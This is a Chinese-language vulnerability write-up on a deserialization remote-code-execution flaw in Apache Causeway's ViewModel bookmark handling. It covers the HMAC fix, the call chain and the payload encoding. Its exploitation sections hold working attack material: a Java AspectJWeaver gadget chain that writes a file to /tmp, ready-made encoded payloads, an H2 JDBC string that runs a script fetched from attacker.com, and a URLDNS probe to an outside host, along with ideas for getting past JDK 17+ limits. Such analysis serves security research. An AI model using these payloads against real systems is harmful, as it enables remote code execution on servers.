Apache Causeway 反序列化远程代码执行漏洞分析
1. 漏洞概述
Apache Causeway 是 Apache 基金会开源的 Java 企业级领域建模框架,基于 Spring Boot 架构,能够为实体类、领域服务和 ViewModel 自动生成 Web 界面与 API 接口,广泛应用于企业级管理系统的构建。
在受影响的版本中,框架在处理 ViewModel 的书签(bookmark)与 URL 片段时存在严重的安全缺陷:系统将客户端可控的内容直接作为对象状态进行反序列化,且缺乏完整性校验机制。这使得经过身份认证的攻击者能够构造恶意的 URL 片段,当服务端尝试还原 ViewModel 时触发反序列化操作,在存在可利用 gadget 链的环境下实现远程代码执行。
修复方案
修复版本通过以下措施彻底解决了该安全问题:
- 为 ViewModel 书签与 memento 引入基于 HMAC 的数字签名与验签流程
- 服务端在反序列化前强制校验签名,验证失败即终止处理
- ViewModelFacet 与内部 Memento 工具统一使用 HmacAuthority 完成安全验证

通过漏洞情报确认,Causeway 存在反序列化执行漏洞,主要出现在 ViewModel 处理流程中。虽然该漏洞需要经过认证才能利用,但在反序列化过程中缺乏必要的安全校验。
2. 漏洞分析
2.1 源码分析方法
通过 OSCS 提供的参考链接 https://issues.apache.org/jira/browse/CAUSEWAY-3939,确定了问题编号为 CAUSEWAY-3939。通过分析 Causeway 项目的 commit 提交记录,我们定位到了相关的源码变更。
关键发现:在文件变动中,commons/src/main/java/org/apache/causeway/commons/internal/memento/_MementoDefault.java 被删除,该文件中包含了存在安全风险的反序列化操作。从异常信息的内容分析,可以确定该位置就是反序列化的 sink 点,用于反序列化来自字符串的 memento 对象。

2.2 调用链路分析
通过从 read 方法开始的逆向分析,我们梳理出了完整的漏洞触发调用链:
org.apache.causeway.commons.internal.memento._MementoDefault#parse
-> org.apache.causeway.commons.internal.memento._Mementos#parse
-> org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#parseMemento
-> org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#createViewmodel
-> org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetAbstract#instantiate
其中,parseMemento 方法负责解析来自 bookmark 书签的 identifier 字段作为序列化内容的来源。接下来我们需要深入分析 bookmark 书签内容的加载机制。

2.3 Bookmark 解析机制
在 Bookmark 内部的 parse 方法中,可以清楚看到书签的解析流程:
- 使用
StringTokenizer进行字符串分割,以:作为分隔符 - 解析后分为两个关键参数:
logicalTypeName:逻辑类型名称urlSafeIdentifier:URL 安全标识符(这正是反序列化的数据源)
攻击载荷结构:logicalTypeName:攻击载荷

2.4 类型验证机制
在 org.apache.causeway.core.metamodel.spec.impl.SpecificationLoaderDefault#lookupLogicalType 方法中,系统对传入的 logicalTypeName 进行有效性验证:
- 首先检查
logicalTypeResolver中是否存在有效的逻辑类型 - 如果不存在,则通过
loadClass(logicalTypeName)方法加载指定类名对应的类

3. 漏洞复现测试
3.1 测试环境搭建
我们使用 Causeway 官方提供的示例项目进行测试,项目地址:https://github.com/apache/causeway-app-helloworld

3.2 初步测试发现
启动项目后,在 Configuration 模块传入包含 Base64 编码反序列化内容的 path 参数时,后端在解码 Base64 时出现了无效字符错误:
错误信息:Caused by: java.lang.IllegalArgumentException: Illegal base64 character 2b
测试载荷:
causeway.conf.ConfigurationViewmodel:rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQABzEyMy50eHRzcgArb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAPG9yZy5hcGFjaGUuY29

3.3 编码机制分析
通过进一步分析,我们在 org.apache.causeway.core.runtimeservices.urlencoding.UrlEncodingServiceWithCompression#decode 方法中发现了 Causeway 的数据处理机制:
双重处理流程:
- 对传入字符串进行 Base64 解码
- 使用 GZip 进行解压操作
- 返回最终的字节数组

因此,在构造反序列化 Payload 时,也需要进行相应的双重处理:
- 先对内容进行 GZip 压缩
- 然后进行 Base64 编码
3.4 编解码工具实现
下面是用于 Causeway Base64 URL 编解码的完整代码实现:
public class CausewayBase64Utils {
public static final BytesOperator asCompressedUrlBase64 = operator()
.andThen(CausewayBase64Utils::compress)
.andThen(bytes -> Base64.getUrlEncoder().encode(bytes));
public static final BytesOperator ofCompressedUrlBase64 = operator()
.andThen(bytes -> Base64.getUrlDecoder().decode(bytes))
.andThen(CausewayBase64Utils::decompress);
public static BytesOperator operator() {
return new BytesOperator(UnaryOperator.identity());
}
static byte[] compress(final byte[] input) {
if (input.length < 18) {
return input;
} else {
return input.length < 256 ? prepend(input, new byte[]{0}) : prepend(gzip_compress(input), new byte[]{1});
}
}
static byte[] decompress(final byte[] input) {
if (input != null && input.length >= 18) {
byte[] inputWithoutPrefix = Arrays.copyOfRange(input, 1, input.length);
return gzip_decompress(inputWithoutPrefix);
} else {
return input;
}
}
public static final byte[] prepend(@Nullable final byte[] target, @Nullable final byte... bytes) {
if (target == null) {
return bytes == null ? null : (bytes).clone();
} else if (bytes == null) {
return (target).clone();
} else {
byte[] result = new byte[target.length + bytes.length];
System.arraycopy(bytes, 0, result, 0, bytes.length);
System.arraycopy(target, 0, result, bytes.length, target.length);
return result;
}
}
public static byte[] gzip_compress(final byte[] input) {
try {
int BUFFER_SIZE = Math.max(256, input.length);
ByteArrayOutputStream os = new ByteArrayOutputStream(BUFFER_SIZE);
GZIPOutputStream gos = new GZIPOutputStream(os);
gos.write(input);
gos.close();
return os.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static byte[] gzip_decompress(final byte[] compressed) {
try {
ByteArrayInputStream is = new ByteArrayInputStream(compressed);
GZIPInputStream gis = new GZIPInputStream(is, 32);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] data = new byte[32];
int bytesRead;
while ((bytesRead = gis.read(data)) != -1) {
baos.write(data, 0, bytesRead);
}
gis.close();
return baos.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static final class BytesOperator {
private final UnaryOperator<byte[]> operator;
private BytesOperator(final UnaryOperator<byte[]> operator) {
if (operator == null) {
throw new NullPointerException("operator cannot be null");
}
this.operator = operator;
}
public byte[] apply(final byte[] input) {
return operator.apply(input);
}
public BytesOperator andThen(final UnaryOperator<byte[]> andThen) {
try {
return new BytesOperator(s -> andThen.apply(operator.apply(s)));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
3.5 编解码流程详解
编码流程 (asCompressedUrlBase64):
原始 byte[] → 压缩处理 → 压缩后的 byte[] → URL Base64编码 → 最终编码结果
当调用 asCompressedUrlBase64.apply(originalBytes) 时:
originalBytes首先传递给CausewayBase64Utils::compress方法进行压缩- 压缩后的字节数组传递给
Base64.getUrlEncoder().encode()进行 Base64 编码 - 返回最终的 Base64 编码字节数组
解码流程 (ofCompressedUrlBase64):
URL Base64编码的 byte[] → URL Base64解码 → 压缩后的 byte[] → 解压缩 → 原始 byte[]
4. 漏洞利用实现
4.1 AspectJWeaver 利用链
我们选择使用 AspectJWeaver 反序列化链来实现漏洞利用。该利用链将在 /tmp 目录下创建一个名为 n1es.txt 的文件。
最终 Payload:
causeway.conf.ConfigurationViewmodel:AR-LCAAAAAAAAP-FkjFvEzEUx1_vlDRFFaSogpEOlTogbCHBgIKgtKJq0QFDMiCx4CZO7oLPNvZLeunAwMiEUKYiIT5AqeAjVBUfAEZgQEIdmVg68nyhUhFDT7q7Z7_n__vZf-_-gop3MNcXQ8EGmCm2Lnx6X9jK9Nf9gwtPPscQrcEZZURnTbTRuA2YwdRJnxrVKeztZQjP7FaNvnV6p0jsunE9Jqxop5K1TZ4b7emvlGxjRvE19lSOhkINJGtlskO97mp0o5fvv7y5sX_pWwRRAjGVIJxPAhZXQvf4w80-rW9QKhcW4dwkFYg5KTQKmqvpq9IzLJAYLp_GQCosEdsjWqwPxy_ejurjGKYSmO6W26TuVxLS4BMN_leDn9TgLSe07xqXS0cA1PXmaV27Ax3UPVulIQqNJyQeDV_N3Yk-jqOAMZMdVzyD5xAXduAgeryy-_viUbXW-hE
4.2 利用代码实现
public static void main(String[] args) throws Exception {
String fileName = "n1es.txt";
String filePath = "/tmp/";
String fileContent = "n1es is here";
// 初始化 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
// 实例化 StoreableCachingMap 类
Class<?> c = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = c.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(filePath, 10000);
// 初始化 Transformer,使其 transform 方法返回要写入的文件内容
Transformer transformer = new ConstantTransformer(fileContent.getBytes(StandardCharsets.UTF_8));
// 使用 StoreableCachingMap 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.lazyMap(map, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, fileName);
HashMap<Object, Object> objects = new HashMap<>();
objects.put(entry, entry);
// 序列化并编码
byte[] bytes = writeObjectToBytes(objects);
byte[] encodedPayload = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
System.out.println(new String(encodedPayload));
}
4.3 攻击成功验证


5. 高版本JDK环境下的利用挑战与替代方案
通过前述测试验证,可以证明了Apache Causeway反序列化漏洞的可利用性,攻击者确实可以通过精心构造的URL参数触发反序列化操作。然而,在实际的生产环境中,由于Causeway框架采用JDK 21作为运行环境,高版本JDK的安全限制为漏洞利用带来了显著挑战。
5.1 JDK 17+版本的安全限制
在JDK 17及更高版本中,Oracle引入了更严格的模块化访问控制机制,主要体现在:
-
内部类反射访问限制:JDK 17+环境禁止对JDK内部类进行反射访问,当尝试访问如
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl等内部类时,系统将抛出IllegalAccessException异常。 -
模块边界强化:Java平台模块系统(JPMS)的严格实施,使得传统的基于TemplatesImpl的字节码注入攻击路径被完全阻断。
-
反序列化过滤器增强:内置的反序列化安全过滤器默认拦截已知的恶意类,进一步提升了攻击门槛。
5.2 高版本环境下的替代攻击向量
尽管传统攻击路径受限,但仍存在可行的替代方案。参考Qwzf关于Java 17及更高版本中通过JDBC连接实现反序列化漏洞利用的研究,在高版本JDK环境下可以探索以下攻击路径:
5.2.1 Apache Commons DBCP2 + H2数据库攻击链
这种攻击方式利用了:
- Apache Commons DBCP2:作为数据库连接池组件
- H2数据库:通过其脚本执行功能实现远程代码执行
- JDBC连接字符串注入:绕过高版本JDK的类访问限制
5.2.2 攻击链路示例
// 利用H2数据库的RUNSCRIPT功能
String maliciousUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'";
此方法的优势在于:
- 不依赖JDK内部类的反射访问
- 绕过TemplatesImpl等传统攻击类的限制
- 利用合法的JDBC功能实现代码执行
5.3 实战环境的适配挑战
在实际测试过程中,我们还遇到了环境差异导致的兼容性问题:
依赖缺失问题:在某些测试环境中发现缺少aspectjweaver相关类,导致基于AspectJWeaver的攻击链无法正常工作。
环境适配策略:为确保漏洞验证的可靠性,采用了URLDNS攻击链作为通用验证方案:
// URLDNS - 通用的漏洞存在性验证方法
HashMap map = new HashMap();
URL url = new URL("http://zzvirkbsbt.dgrh3.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1);
map.put(url,123);
f.set(url,-1);
byte[] bytes = writeObjectToBytes(map);
byte[] apply = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
System.out.println(new String(apply));


URLDNS链路的优势:仅依赖JDK核心类,无外部依赖,仅进行网络请求,不执行恶意代码。
结论:Apache Causeway的反序列化漏洞在概念验证层面确实可行,但在实际利用中需要根据目标环境的具体配置选择合适的攻击向量。